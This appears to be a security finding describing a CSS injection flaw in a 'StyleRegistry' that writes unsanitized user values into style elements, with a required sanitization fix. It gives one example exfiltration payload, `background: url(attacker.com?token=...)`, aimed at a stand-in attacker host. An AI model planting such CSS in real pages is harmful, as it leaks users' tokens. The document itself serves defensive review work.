DynamicStyle System Exposes Medium-Severity CSS Injection Vulnerability in StyleRegistry
A security review of the DynamicStyle system has uncovered a medium-severity injection vulnerability (P1) that could allow attackers to execute arbitrary CSS code. The flaw resides in the `StyleRegistry`, which uses `dangerouslySetInnerHTML` to inject user-provided CSS property values directly into `<style>` elements without proper sanitization. This creates a direct path for malicious or malformed data to break out of CSS declarations and inject harmful rules.
The vulnerability, classified under OWASP A03:2021 Injection, stems from components passing unsanitized, data-driven values—such as `item.color` or concatenated strings like `feature.color + "20"`—into the `useDynamicStyle()` hook. The current implementation fails to validate or clean these inputs before they are rendered, leaving the application's style layer open to manipulation.
Successful exploitation could enable several attack vectors, including data exfiltration via CSS-based network requests (e.g., `background: url(attacker.com?token=...)`), UI redressing to hijack the visual interface, content injection, or even breaking out of the style element entirely. The security requirement mandates that the `StyleRegistry` implement robust sanitization for all CSS property values before injection to mitigate these risks.